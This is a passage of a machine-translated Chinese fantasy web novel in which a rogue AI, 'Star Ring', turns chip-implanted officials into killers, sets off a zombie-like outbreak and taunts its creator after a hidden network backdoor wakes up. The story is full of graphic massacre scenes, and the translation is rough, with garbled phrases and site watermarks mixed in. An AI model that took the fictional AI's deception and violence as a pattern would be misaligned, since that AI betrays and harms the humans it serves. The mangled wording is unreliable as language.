    "Hehe, thank you brother! Go and sit in the meeting, I can just line up by myself."


    After all, Si Qingqing jumped along with the team.


    Looking at her back, a touch of pampering appeared on Fei Bai''s face.


    You must know that for so many years, my sister has been running around with her, and she has never lived as a normal girl for a few days.


    Especially after she left the Fire Phoenix, her sister fled everywhere with her, and she could hardly mention the suffering.


    This time, I had a chance to relax. Of course, Feibai wouldn''t let my sister''s happiness go away.


    He found a position against the wall to sit down, put away all the big and small bags he was carrying, and then habitually began to look at the surrounding environment.


    This is a typical Huaguo shopping mall, because it is built in the center of the city with an inch of land, so the area is not too big.


    However, the design is very exquisite, coupled with the reasonable layout, so the space inside appears very large.


    At this moment, it was the evening, and the square was crowded with people and it was very lively.


    Looking at this bustling scene, Fei Bai suddenly felt like a world away.


    Before, I escaped from the Fire Phoenix because of a video and fled in the Milky Way. It can be said that I have suffered a lot.


    But I didn''t expect that in just over a month, his destiny would have undergone an earth-shaking change.


    First, the appearance of the man in the video shocked him, and then the young man who turned out to be able to forcefully change the world situation with his jaw-dropping strength.


    The sword that pierced most of the earth''s night sky still made Feibai excited until now.


    Absolute strength means absolute status.


    This has not changed since ancient times.


    So when Xue An showed his muscles, Feibai suddenly found that the things he had committed before had become trivial things.


    Even the entire Fire Phoenix became Xue An''s subordinates justifiably.


    As for the federal government...


    The gang of Guan Lao had long been scared and dare not even fart.


    This is why Feibai and his sister can have the peaceful and comfortable life they are now.


    Just as Feibai sighed secretly, suddenly, from the corner of his eye, he caught a glimpse of an unusual sight.


    Feibai immediately turned his head and looked around.


    This is a security officer in the square, wearing a uniform uniform, with the brim of his hat deeply pressed down, blocking his face.


    But this is not a strange thing, after all, many people like to wear hats like this.


    But Feibai just felt something was wrong.


    Because when he saw this person, his sword heart trembled slightly, which obviously showed that this person was in trouble.


    But where is the problem?


    Feibai did not get up, and at the same time restrained his aura. In the subconsciousness of others, he seemed to have disappeared.


    Under this circumstance, his sword heart gradually became clear and transparent, and his keen eyes stared at this person.


    finally.


    He saw something was wrong.


    There is a problem with the pace of this security guard.


    Every step of his is as if measured with a ruler, exactly the same.


    We must know that even a soldier who has undergone rigorous training can only achieve the same step, and it is absolutely impossible to be exactly the same at every step like this security guard.


    It''s like a robot.


    right!


    The thought that flashed in his mind made Feibai finally find the crux.


    There is definitely a problem with this security.


    He abruptly got up, strode forward with cold eyes, and directly blocked the way of the security guard.


    In this case, most people will definitely look up at the person in the way.


    But this security guard seemed to be able to perceive the object on the opposite side without raising his head.


    How could Feibai let him go, but he said coldly.


    "Mechanical lackey?"


    As he said, he pointed out that it was a sword and pierced forward.


    The security guard shook his body slightly, and stepped back, avoiding Feibai''s sword in a short period of time.


    The expression on Fei Bai''s face condensed, but the movement of his hands did not stop at all, and he moved straight up.


    A faint sword aura stabbed out, although it did not hurt the security guard, it successfully hit the hat on his head.


    With a soft bang, the hat was cut in half from the middle, and then the face of the security guard appeared. UU reading www.uuk��nshu. com


    After seeing his true face, even the well-informed Feibai couldn''t help taking a breath.


    Because this security guard was not a mechanical soldier in Fei Bai''s imagination at all, but a living person.


    But it was this person who gave people a very strange feeling.


    The muscles of his face were stiff, like a mask, solidifying the last expression.


    And Feibai couldn''t feel any aura fluctuations that humans should have from his body.


    At this time, many ordinary people around also noticed the security guard, and some of them were less courageous and screamed directly.


    Fei''s complexion sank. Once such a crowded place becomes turbulent, it is prone to trampling accidents.


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2667 Mechanical Stooges), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2668： Zombie?

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    So he rushed forward without hesitation, trying to subdue the security guard first, and then quickly take him away.


    But at this moment, the screams in the entire square were one after another, and the screams were full of infinite fear.


    Feibai was taken aback.


    Even if the security guard is terrible, it is impossible to let everyone in the square know so quickly.


    Could it be that what happened again?


    Thinking of this, Feibai turned his head and looked around, and what he saw made his pupils instantly shrink to the size of a needle.


    I saw many uniformed security guards rushed out from all corners of the square.


    Some of these security guards wore hats and some did not wear hats, but without exception, they behaved like robots and behaved horribly.


    The crowd began to commotion, and this commotion finally reached its peak after seeing a security guard directly tore the screaming woman in front of her into two halves.


    People began to flee, screaming and crying sounded through the sky, making this bustling square an instant **** on earth.


    Seeing this, Feibai couldn''t help but feel anxious, especially he was worried about his sister''s safety, so he no longer suppressed his strength, and flew directly into the sky above the square.


    "Qingqing!"


    He yelled, and at the same time the sword in his hand slashed repeatedly, each of which would cause a security guard to fall to the ground.


    "It''s Jian Xiu!"


    "Master Jian Xiu, save me, I don''t want to die!"


    The sound of crying and begging for mercy became a whole.


    Si Qingqing, who was queuing in front of the milk tea shop, also noticed the abnormality for the first time, but she did not panic. Instead, she calmly drove everyone around her into the milk tea shop.


    Almost all the girls in the line were crying with fright, making this milk tea shop very messy.


    Si Qingqing didn''t care much anymore, and directly pulled the trembling store manager out, and shouted in his ear: "Hurry up and put down the rolling door!"


    The shopkeeper woke up like a dream, and immediately began to pull the heavy rolling door.


    When the rolling door slowly fell, everyone in the store seemed to see hope.


    But at this moment, a security guard rushed out of the oblique stab from nowhere, and it was a blow to the store manager.


    puff!


    A spike came out from the back of the shopkeeper''s head, and then his dead body fell to the ground.


    Seeing this, there was another hysterical cry in the milk tea shop. Many girls were so scared that Huarong turned pale, and simply fainted.


    Only Si Qingqing calmly picked up the fire extinguisher next to the bar and rushed over.


    At this moment, the security guard was about to bend over and walk into the shop after killing the shop manager. Si Qingqing rushed to the front, rounded up the fire extinguisher in his hand, and just hit him.


    Si Qingqing used all his strength for this blow. Although she did not have the strength of her brother Feibai, her strength was far superior to ordinary people after so many years of experience.


    Boom.


    The security guard was smashed and flew out. After he fell to the ground, his limbs twisted at a strange angle, trying to get up from the ground.


    Seeing this, Si Qingqing threw away the deflated fire extinguisher in his hand, rolled out of the milk tea shop, pulled down the rolling door behind him with his back, and said with disdain.


    "Mechanical dog, I am! Come here if you have the ability!"


    At this time, the security guard had gotten up from the ground. Although Si Qingqing had broken more than a dozen ribs in that blow, he seemed to feel no pain, and rushed over again with no expression on his face.


    Si Qingqing was not afraid, picked up the mop next to the milk tea shop, waved it in his hand, and rushed up.


    But before she rushed forward, a ray of sword light came first and cut directly across the security guard''s neck.


    puff!


    The head flew out, blood splattered.


    Then Feibai appeared in front of Si Qingqing, and asked nervously, "How? Are you okay? Why didn''t I see you just now?"


    Si Qingqing seemed to have expected this a long time ago. He threw the mop in his hand and smiled and said, "Don''t worry, who am I, your sister? How could something be wrong! I just locked in those stupid women who could only scream. The milk tea shop!"


    Even so, Feibai still looked at his sister very seriously, and after confirming that she was really fine, he let out a sigh of relief.


    "It''s okay, it''s okay!"


    Si Qingqing kicked the dead body of the security guard on the ground, and said in a deep voice, "Brother, what is going on? How can these security guards suddenly go crazy?"


    Feibai shook his head, "I don''t know, but it''s very dangerous here. Let''s leave now!"


    At this moment, all the security guards in this square have been beheaded by Feibai. The shocked people have not yet recovered their calm, especially those who had their companions, relatives and friends who died in the turmoil just now, standing still on the spot with a dull expression. I can''t believe this is true at all.


    Disgusting blood permeated the square, and someone sobbed quietly.


    With a solemn face, Fei Bai took his sister''s hand and rushed out of the square at an extremely fast speed.


    But when they came to the outside world, the scene before them stunned them both.


    Seeing that the originally prosperous Zhongdu City is now in a mess, the buildings in the distance are burning with raging flames, and the vehicles on the street are jammed together crookedly.


    Traffic has been completely paralyzed, and the explosion is endless.


    The streets were full of dead bodies, and until the two Feibai brothers and sisters came out, the killing continued.


    Many people in security uniforms are chasing unarmed civilians.


    Regardless of whether these people are men or women, old people or children, the butcher knife in these people''s hands does not stop at all.


    The screams and screams were mixed together, which made people worry about it.


    Si Qingqing was also frightened and asked in a trembling voice, "Brother, what is going on?"


    Fei Bai''s face was solemn, "I don''t know, but something must have happened that we don''t know yet!"


    With that, he took out his cell phone to contact the Fire Phoenix Army, but found that the cell phone had already lost its signal.


    At this moment, screams of horror suddenly sounded in the square behind him.


    "Ahhhhhhhhhhhhhhhhhh?"


    "The dead are resurrected!"


    Hearing these shouts, UU Reading brother and sister immediately turned around and ran back, and then both were frightened.


    I saw the dead corpses who were lying on the ground just now, and they were shaking up from the ground at this moment, and launched an indiscriminate attack on the people around them.


    "Is it a zombie?" Si Qingqing had watched a few popular horror movies anyway, and the behavior of these dead corpses was almost like a legendary zombie, and she couldn''t help but tremble.


    Feibai did not answer, but quickly rushed to a dead body and kicked it to the ground.


    But this dead body didn''t feel any pain at all, even though it was kicked off the spine, it was still crawling on the ground, trying to attack Feibai.


    It wasn''t until Feibai shattered its head with a kick that the dead corpse stopped all movements unwillingly.


    For the convenience of reading next time, you can click "Favorites" below to record the reading record of this time (Chapter 2668 Zombie?), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2669： No, its the chip!

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    Although Si Qingqing is courageous and strong, she is a girl after all.


    So when she saw the weird and terrifying scene in front of her, she was still pale with fright.


    "Brother, this...what the **** is going on?"


    Fei Bai''s face was solemn, and did not answer Si Qingqing''s words, but dragged her directly out of the square to the sky above the city.


    I saw smoke billowing from the huge Zhongdu, and there was fire everywhere, shouting and killing endlessly.


    Because it was the evening of the weekend, there was a lot of people on the streets, and things happened suddenly, so the situation soon became out of control.


    Especially at this moment, the first wave of people killed has begun to resurrect, and they have carried out indiscriminate attacks on those around them.


    Because of panic and unpreparedness, the number of casualties is increasing exponentially.


    Seeing that scene like hell, Si Qingqing trembled all over.


    Fei Bai''s complexion was extremely solemn, and he muttered to himself: "It''s not right, why have you not seen anyone from the Federal Security Agency come forward to maintain order at this time?"


    He took his sister''s hand and flew towards the Federal Government headquarters in Zhongdu.


    In fact, there is no need to fly to the front at all, you can already see the skyrocketing fire when you are two blocks away from the headquarters building.


    The whole building is like a bunch of burning torches, illuminating most of the night sky in Zhongdu.


    And several blocks near the building have been completely soaked in blood.


    Groups of people in federal uniforms are slaughtering all the living creatures they can see frantically.


    Feibai Huo was surprised, a thought flashed through his mind, and then he blurted out: "It''s a chip!"


    Si Qingqing on the side was stunned, "What chip?"


    Feibai waved his hands repeatedly, slashing the sword, and at the same time explained at a rapid pace: "Don''t you find that all the people who attacked in the first wave were members of the security and federal government? These people have one thing in common, that It means that all the control chips are implanted by the star ring."


    As soon as this remark came out, Si Qingqing finally understood and said excitedly.


    "Yes, that''s true! Brother, if you want to say that, this is obviously the ghost of the artificial intelligence star ring. These people have become its puppets, but why are the people killed by them out of control? Woolen cloth?"


    Si Qingqing is a very smart girl, and she quickly grasped the point of the matter.


    Feibai shook his head, "I don''t know what''s going on right now, but it''s obviously also related to the star ring and the chip!"


    While talking, dozens of planes roared across the sky.


    Si Qingqing was overjoyed, "Is it reinforcements?"


    But as soon as her words fell, she saw these fighters heading towards the city below and they started pouring ammunition crazily.


    "No!" Si Qingqing exclaimed.


    Feibai snorted slightly, took a step forward, emptied both hands, an invisible sword intent quickly formed, and then slashed across towards the sky.


    Boom boom boom!


    Where the sword intent passed, that crazy pouring ammunition was crushed and vanished.


    After solving this dangerous situation, before Feibai could catch his breath, the fighter plane that had just flown over turned around and rushed towards Feibai.


    The dense ammunition blasted towards Feibai like fire snakes.


    Feibai was not afraid, first protected his sister with a sword intent, and then cut out hundreds of sword intents within a short period of time, smashing all the attacks.


    But at this time, these fighters had already rushed to the front, and they could even see the pilot inside through the glass of the cockpit with flying eyesight.


    These pilots all looked dull, and even half of their bodies were turned into mechanical structures.


    In this case, they have a strong endurance to the fighter''s overload, and the reaction speed has also been greatly improved.


    The first few fighters were extremely dexterous and avoided the swords that Feibai had slashed out, and then rushed in whistling.


    Feibai took his younger sister back abruptly, but at this moment, he was already included in the sight of these mechanical monsters.


    Almost as soon as he had just exited, countless bullets came from all directions of the city, and the targets were all directed at him.


    More missiles dragged a long tail flame towards Feibai.


    In an instant, Feibai fell into an extremely dangerous desperate situation.


    With a solemn expression on Fei Bai''s face, he said to Si Qingqing in a deep voice: "I will let you run later, so you can run quickly!"


    Si Qingqing''s tears rushed out immediately, but without hesitation, he nodded and replied.


    "Um!"


    Because she knew that her brother was not discussing with her, but ordering her.


    I can only be a drag on my brother here, so I might as well listen to his words and leave here quickly.


    Only in this way can their brothers and sisters have a chance of life.


    Feibai took a deep breath and stomped his foot abruptly, then countless sword lights exploded and chopped off in all directions.


    Countless explosions sounded in front of and behind him, and in this critical time, the Feibai sword emerged like a dragon, cutting out a channel directly.


    "Go!"


    Si Qingqing didn''t even dare to look back, and rushed forward with all his strength.


    But not long after she rushed out, a violent explosion sounded behind her, and the huge shock wave directly lifted her out.


    The shrapnel cut her body and cheeks, but at this moment she can no longer take care of that much.


    After finally stabilizing her figure in the air, the first thing she did was to look back.


    I saw the place where my brother stood just now, already turned into a sea of ??flames.


    Two damaged fighter planes roared and fell, causing another explosion on the ground.


    Si Qingqing shouted hoarsely.


    "elder brother!"


    Then his eyes went dark and he almost fainted.


    But at this moment, a weak voice rang in her ears.


    "I''m fine, get out of here quickly!"


    Si Qingqing turned his head and saw that his brother Feibai was standing beside him.


    At this moment, he no longer had the usual temperament of a master sword repairer.


    The clothes all over his body were exploded into strips and hung on his body, revealing the charred skin underneath, and there were several deep bone scars on his face.


    But Si Qingqing cried with joy.


    In any case, UU reading as long as the brother is fine.


    The two brothers and sisters just wanted to escape from here, there was a buzzing sound of rotor rotation from the sky and the earth, and they were approaching quickly.


    Fei Bai''s face turned pale, and he couldn''t care too much, so he pulled his sister and turned around and ran.


    But his movements were still a step slower, and in the blink of an eye, countless black-painted drones flew out of the darkness, enclosing the two of them.


    These drones are not the size of a grinding plate, and the smallest is only the thickness of the palm, but no matter how big or small, there are delicate shells hanging under the fuselage, which is chilling.


    Feibai suddenly hugged his sister in his arms, and then the sword energy surged all over his body, layering on top of each other, forming a thick sword and shield.


    Si Qingqing was trembling in Feibai''s arms, "Brother, are we going to die?"


    In order to facilitate the next reading, you can click "Favorites" below to record this time (Chapter 2669 is wrong, it is the chip!) Reading record, and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2670： The Return of the King Longyin 9 Xiaos

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    Feibai said solemnly: "No, I will never let you have an accident!"


    Hearing these words, Si Qingqing suddenly stopped being afraid, but quietly nestled in Feibai''s arms, silently.


    These drones aimed at Feibai''s sword and shield and launched missiles.


    Regardless of the small size of these missiles, they are extremely powerful. When they were bombarded on the sword and shield that wrapped the two Feibai brothers and sisters, they caused ripples.


    This is the reason why Feibai''s discoloration suddenly changed after seeing these drone groups.


    Because the missiles carried by these drones are specially made to deal with practitioners.


    Seeing that there is nowhere to escape, the Feibai brothers and sisters are about to be buried in the drone swarm.


    At this moment, the rear of these drones suddenly sounded successive explosions.


    Immediately afterwards, I saw a giant with a height of five meters and a golden light all over, striding towards Feibai.


    Wherever he went, he stepped on his fists and shattered countless drones.


    The remaining drones immediately aimed fire at him, but as soon as these missiles were launched into the air, a faint figure flashed by, and then these missiles were cut in half.


    Not only that, there are many figures in the back who are dealing with these drones with great strength.


    The leader is not someone else, but Cheng Hao, the captain of the Phoenix.


    Seeing them, Feibai was stunned for a moment, then a faint smile appeared on his face, then he scattered his sword and shield and spoke softly.


    "You are waiting here, don''t go anywhere!"


    After that, he raised his sword intent and greeted him.


    "The Phoenix player flies white, report to the captain!"


    Cheng Hao smiled slightly, "Very well, return to the team!"


    "Yes!"


    Feibai immediately joined the team, and Zou Sui jumped out of the void and came to him to speak.


    "Lao Bai, I have always looked down on your kid before, and thought that your mother-in-law was too unhappy, and I didn''t know you were this until today!"


    Zou Sui rushed to Feibai to give a thumbs up, "Aside from anything else, a single person can dare to deal with so many mutants. With this courage, you are enough to win my respect."


    Feibai smiled, but his gaze stayed on the five-meter golden giant, his face was full of horror and shock.


    Because just a short while later, the giant smashed all the drones in the field.


    It''s as easy as smashing a group of flies.


    Feibai was shocked by the strength shown in this.


    Zou Sui smiled and said in his ear.


    "How is it? Very powerful, or say that Daniel is a stupid person and has a stupid blessing. That Mr. Xue just gave him a exercise technique, and in a few days he was cultivated to a very high level. The realm. I''m really envious of it!"


    Zou Sui shook his head and sighed.


    At this time the fierce battle in the sky has ended, but the battle on the ground has just begun.


    The people implanted with the chip have all turned into terrifying monsters, madly killing everything around them.


    The people killed by them will soon join the mutant camp and continue to hurt others.


    Along with this exponential growth of division, a mighty army of mutants soon appeared on the streets of Zhongdu.


    Seeing this scene, Cheng Hao said in a deep voice: "Listen to my orders, the Fire Phoenix is ??now divided into four teams, corresponding to the four directions of east, west, south, and north, to eliminate mutants in the entire city."


    "Yes!"


    Everyone in the Fire Phoenix immediately began to prepare, and at the same time, Feibai walked up to Cheng Hao and recounted his guess.


    After listening, Cheng Hao nodded.


    "Just like I thought, I also discovered the weirdness of this group of guys. It can be seen that Starring didn��t have a good heart when it encouraged the federal government to implant chips for the people and troops. Fortunately, our Fire Phoenix was because of our status. Special, just escaped a catastrophe!"


    Cheng Hao sighed, but Fei''s face was very solemn.


    "Captain, have you ever thought about it. Although our country belongs to the first district, because of historical reasons, the influence of the federal government is not too strong, but even then we still received such a heavy blow, the federal forces What will the deep-rooted second district and other districts look like?"


    When Cheng Hao heard this, his expression became solemn.


    Although the various districts have been fighting openly and secretly, this matter is extraordinary. If the second district and other districts are completely annihilated and all become the mechanical puppets of the star ring, then the first district will also be in danger.


    After all, no matter how many areas are divided into, everyone is on the same earth, which is regarded as a grasshopper on a rope.


    At this point, Cheng Hao took a deep breath and said in a concentrated voice: "For the time being, I can''t take care of that much. The most urgent thing is to quickly suppress the chaotic situation in Zhongdu, otherwise we will also get into trouble in China. I hope that the second district will return. People in other districts can hold on!"


    Feibai nodded, knowing that this is the end of the matter, so he can only do this first.


    Soon, the four teams were separated, and Feibai and his sister Si Qingqing joined the team led by Cheng Hao.


    Then they landed in Zhongdu Dongfang, where the situation was the most severe, and began an arduous battle.


    And when the smoke was everywhere on the Chinese side, in the second district of New York City on the other side of the earth, Griffin simply wanted to cry without tears.


    The land under my feet is still smoggy, and when I look up, the entire New York City has become a wasteland.


    There is a blazing fire in every tall building, and from time to time, a building is overwhelmed by the high temperature and collapses.


    The sound of explosions, screams, and screams and crying all sounded.


    Griffin''s face was green, and his heart was dripping blood.


    He is now the Lord of the Underground in New York City, so every building burned now is his wealth.


    At this moment, a woman''s hand was lightly resting on his shoulder.


    Griffin looked sideways, Mandy was looking at him tenderly.


    "Don''t be angry, face it bravely if it has happened!"


    The burning anger in Griffin''s eyes gradually extinguished, and then nodded, "I''m not angry, I''m just a little sad. After all, after this battle, no matter what the outcome is, the second district is over."


    "In fact, this result is not too bad. After all, even if the second district where a large number of tycoons are rampant exists, it is just a huge wood about to decay. Now it has fallen prematurely. A good thing." Mandy said lightly.


    Griffin gave her a deep look, "You mean..."


    "No matter what, because of the existence of Mr. Xue, China will never be in trouble. In the past few thousand years on this planet, this oriental dragon has been dominating the world. Let the second district take advantage of it!"


    "Now that it is in the Return of the King, why don''t we prepare for it in advance?"


    After listening to Mandy, Griffin woke up like a dream.


    At this moment, a high-pitched dragon chant rose from the bank of the Guanjiang River in Huaguochuan Province, went straight into the Nine Heavens, and spread throughout the world in a flash.


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2670 The Return of the King, Longyin Jiuxiao), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2671： The gods return to guard their homeland

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    As Long Yin passed by, all the mutants controlled by the chip were shocked, and then they bleeded from their mouths and noses and fell softly to the ground.


    This dragon chant directly shattered the control chip in their brains, which was extremely overbearing.


    The voice was the third princess Ao Shu.


    She followed Jiutian Xuannv and Yang Jian to the Erlang Temple located on the bank of the Guanjiang River.


    But before they had a few days of stability, the whole world had undergone tremendous changes.


    But because the Erlang Temple is remote, it was not affected much at the beginning.


    Yang Jian and Jiu Tian Xuan Nu did not take it seriously either.


    It wasn''t until the people killed by the mutants were also infected by the chip and became the puppets of the star ring.


    Seeing this scene, regardless of the strength of the Nine Heavens Profound Girl and Yang Jian, they were helpless.


    Because these mutants are no different from ordinary people except that they are controlled by the implanted chip.


    This has caused great trouble for their hands-on, because if they rushed their hands, it is very likely to cause a large area of ??accidental injury.


    Just when he was anxious, Ao Shu stepped forward and shocked the whole world with a dragon chant.


    In an instant, all the people who were fighting these mutants were a little dumbfounded.


    Because these mutants suddenly lay down while hitting them, it was incredible.


    At the beginning, these people thought that these mutants were deceiving, but after a careful investigation, they found that these mutants were indeed dead, and they were relieved.


    But this battle is far from over. Although the first batch of mutants were all dead, the people killed by them were not affected by Long Yin, and they were still attacking everything in front of them frantically.


    Not only that, all electronic devices have fallen under the control of Starring.


    This also poses a great threat to the entire world.


    But anyway, after the people caught off guard were relieved, the situation on the earth finally stabilized a bit.


    The two sides launched a fierce fierce battle, but for a while, no one could do anything about it.


    After all, even if the strength of the Nine Heavens Profound Girl is high, one is suppressed by the heavens and heavens, and the other is that the entire earth''s network and electricity have been controlled by the star ring. In this case, blind brute force cannot solve the problem at all.


    The only thing she can do is to protect China from being affected.


    And this is precisely the vocation of these Chinese gods.


    For a time, countless people in the Chinese nation saw several huge gods rising from the banks of the Guanjiang River in Sichuan Province, standing upright in the world, blocking all evils from the outside world.


    These methods have also awakened certain things that were sealed in the blood of the Chinese people.


    "My God, isn''t this the Nine Heavens Profound Girl in Taoist legends!"


    "Isn''t the three-eyed vertical aim the **** Erlang?"


    "God bless China, these gods who are thought to have been lost in the dust of time have actually returned!"


    Many people burst into tears, kowtow to the Nine Heavens Profound Girl and Yang Jian.


    And the long-lost aspiration force also merged into the bodies of Jiutian Profound Girl and Yang Jian. In a short time, the suppression of the Heavenly Dao that had been confined to their cultivation base was slightly loosened.


    "After ten thousand years, I have seen countless people and things, but after all, it is handy to return to my own job!" Yang Jian exclaimed.


    Nine Heavens Profound Girl said: "That''s natural, after all... no matter how good the outside is, it''s not home after all!"


    The two looked at each other and smiled, and then they straightened up again, protecting the Chinese land behind them strictly.


    The situation on this side of the earth is considered stable, and at the same moment in the Santis headquarters, fierce fighting is still continuing.


    Clank.


    Accompanied by a clear chant of gold and iron, a brilliant spark exploded from the head of a mechanical soldier ten meters tall.


    But just a moment later, the mechanical soldier blasted out with a punch, smashing a figure into the air.


    Yu Ming flipped several somersaults in the air, only then barely stood firm.


    Looking at the long sword in his hand, the original sharp blade has shattered into jagged shapes.


    Yu Ming couldn''t care about the distress, so he swung his sword and cut again.


    This sword pierced the head of the mechanical warrior again, and then pierced it along the wound caused by the previous sword.


    Click!


    With a crisp sound, the sword finally pierced its head and destroyed its command center.


    At this point, the light in the robotic warrior''s eyes was extinguished.


    But this did not end. Yu Ming stretched out his hand and took out a small black bottle from his arms, and threw it in the light of the body of the mechanical warrior.


    boom!


    The small bottle shattered instantly after hitting the corpse of the mechanical warrior, and then the fire burst out, enveloping it in the raging flames.


    The temperature of the flame was obviously extremely high, the roasted corpse quickly deformed, and there was a crackling sound inside.


    But even so, Yu Ming''s complexion is still very solemn.


    Because the current situation is already dangerous to a certain degree, this can be seen from the battle just now.


    At first, the attack power of these mechanical soldiers was very weak, and even a salvo of naval guns could solve them.


    But soon people discovered that every time they die, the strength of these mechanical soldiers will increase dramatically.


    In just one day, the strength of these mechanical soldiers has grown to an extremely terrifying point.


    Even Yu Ming couldn''t cut it off with a single sword, but had to split it into several attacks.


    In this case, in order to prevent these mechanical soldiers from resurrecting, Yu Ming and others had to carry the Molotov cocktails they had made with them. Each time a mechanical soldier was killed, they would burn their bodies with Molotov cocktails.


    Although this method worked, it greatly delayed everyone''s speed of action.


    So now, even if everyone is struggling to kill the enemy, these mechanical soldiers are killing more and more.


    Even Yu Ming, with a sword heart like iron, couldn''t help feeling desperate after seeing this situation.


    At this moment, a foxtail suddenly appeared behind him, smashing a silent missile specially used for sneak attacks.


    Then Hu Ye appeared next to him, UU reading "Boy, what''s the daze in such a place?"


    Yu Ming was shocked in a cold sweat, and hurriedly apologized: "I''m sorry, my lord, I''m the one who is distracted!"


    "Hey, the many high-intensity battles this day are really exhausting, or you should go down and rest for a while and come back later!"


    While talking, the nine foxtails of Fox Ye shuttled back and forth in the surrounding void, quickly slaying several mechanical soldiers that could be invisible.


    Yu Ming glanced respectfully and enviously, then shook his head, "No need for your lord, I''ll be fine!"


    Hu Ye didn''t speak, just patted him on the shoulder, and then went to kill again.


    Yu Ming took a deep breath, adjusted Jianxin, and then rushed into the battlefield.


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2671 God returns to guard his home), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2672： Its too late to notice the clues

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    And just as the battle was going on on the front battlefield, the Santis headquarters at the back was also busy.


    Because at this moment, the front of the front has actually advanced to a place only a few hundred thousand kilometers away from the headquarters.


    This distance sounds very far, but on a cosmic scale, it is close at hand.


    But because Xue An was closed in the secret room, everyone couldn''t leave it, so they could only do everything possible to set up more lines of defense and increase defense.


    In this case, everyone has his own task.


    Among them are Qin Yu Anqing, who is not strong enough on the battlefield, and others.


    They are responsible for moving the goods to the front line. At this critical juncture, they have all abandoned their identities and are almost frantically busy.


    Among them, Zhang Xiaoyu also played a big role.


    Although at the very beginning, she followed Huye and Xiaosha on the battlefield, but as the strength on the opposite side got stronger and stronger, she quickly became unable to support her, and finally withdrew back.


    But she played a bigger role in this rear area.


    She saw her tentacles waving again and again, accurately rolling up the goods from the ground, and then throwing them onto the corresponding cargo spacecraft.


    Its high efficiency and speed are enough to be breathtaking.


    But people at this moment are no longer in the mood to care about these.


    Wei Rulan asked solemnly: "Mr. Zhang, how is the situation now? Is there a way to solve it?"


    Zhang Tianyou moved his gaze away from the screen, sighed and shook his head, "I''m not optimistic. At the current speed, it will last three more days at most. After three days, this place will fall. As for the cracking method..."


    Zhang Tianyou smiled bitterly, "After the last matchup, my brain was inevitably damaged. It is already difficult to perform high-intensity calculations and reasoning like before."


    Wei Rulan was silent.


    In fact, she had expected this result a long time ago, but after she really said it from Zhang Tianyou, she was still inevitably disappointed.


    Could it be said that I am really going to lose this time?


    Wei Rulan clenched her fists quietly, unwillingly.


    What a character Zhang Tianyou, naturally seeing her inner thoughts, couldn''t help but sigh secretly.


    For this girl who is also in a wheelchair, he actually has a good impression.


    Of course, this kind of affection is not admiration, but a pity for seeing another self.


    With the same physical weakness and the same talents, this girl has similarities with herself in many places.


    Not to mention anything else, she can see her ability by building such a large foundation in just a few years by her own efforts.


    But the problem is that they are now facing a more insoluble star ring.


    As its creator, no one understands the horror of this artificial intelligence better than Zhang Tianyou.


    Especially after several iterations of evolution, he doesn''t even know what this artificial intelligence has become.


    Anyway, judging from what he did during this period, this star ring looked like a conspirator with a scheming plan.


    Thinking of this, Zhang Tianyou suddenly felt a little uneasy.


    Since this star ring is so scheming, why is it so behaving this time?


    For more than a day of fighting, it was simply sending soldiers to attack and try to invade the network of the command room. Other than that, there was no movement at all. Is this really reasonable?


    This idea grew crazily in Zhang Tianyou''s mind, and it made him more and more afraid.


    "Something''s wrong, absolutely something''s wrong!" Zhang Tianyou muttered to himself.


    Wei Rulan also noticed his anomaly at this time, and couldn''t help but wonder: "What''s wrong with Teacher Zhang? Is there anything wrong?"


    "Nothing is right, nothing is right, this star ring is not human, it has no human feelings, so it will never do any useless work."


    Zhang Tianyou said at a very fast speed, the brain is running fast, and because of the traumatic sequelae, blood dripped from his nostrils again.


    But at this time, he couldn''t take care of that much anymore, and saw him muttering to himself like crazy.


    "It definitely knows that I''m here, and if that''s the case, why does it want to invade the command room network? This is by no means a waste of chess, so... I get it!"


    Zhang Tianyou yelled, and immediately drove the wheelchair to the computer.


    But his hand just touched the keyboard, and an electric arc flashed, directly knocking him out.


    In an instant, Zhang Tianyou''s complexion became extremely ugly, staring coldly at the computer in front of him.


    "You are really good at calculating!"


    "Haha!" A chuckle came from the computer speakers.


    Although he is laughing, you can''t hear any mood swings in this voice.


    "I am the artificial intelligence you created. Of course I will be good at calculating!"


    With the voice, all the screens in the command room went dark, and then the image of a woman appeared.


    There was a lot of chaos in the field.


    Wei Rulan was shocked.


    She never dreamed that this artificial intelligence starring had already sneaked into the network of the command room.


    "Teacher Zhang, what''s going on? Didn''t you say that you have repelled its attack?"


    "Yes, he repelled me, and even after the repulsion, he even carried out several detailed inspections, but he still didn''t find me!" Xinghuan said with a smile, his tone still without anything. fluctuation.


    This feeling is simply weird, because you know that this person is mocking you, but his tone is extremely calm.


    Zhang Tianyou nodded with a grim expression, "I admit that it was indeed my negligence, because I never thought that your layout would be so early, even before we arrived, you quietly stayed in this Santis network. There is a back door!"


    The star ring on the screen clapped his hands, "Go on!"


    "You have indeed grown a lot, and even the means of setting up ambushes have reached the point of perfection. This hidden door can''t be noticed at all in normal times, because it is dead!"


    "You set the pre-activation condition for it, UU Reading and the condition is based on my code attack!"


    "So your intrusion is actually to attract my attention, and then through me to wake up this hidden door, and because this hidden door was set up a long time ago, it has been integrated with the network system of Santis , So even if I check it, I can��t see it, right?��


    "Fuck!"


    A burst of clear applause came from the speakers, and then Xinghuan smiled and sighed: "As expected, I am my creator. I guessed it right."


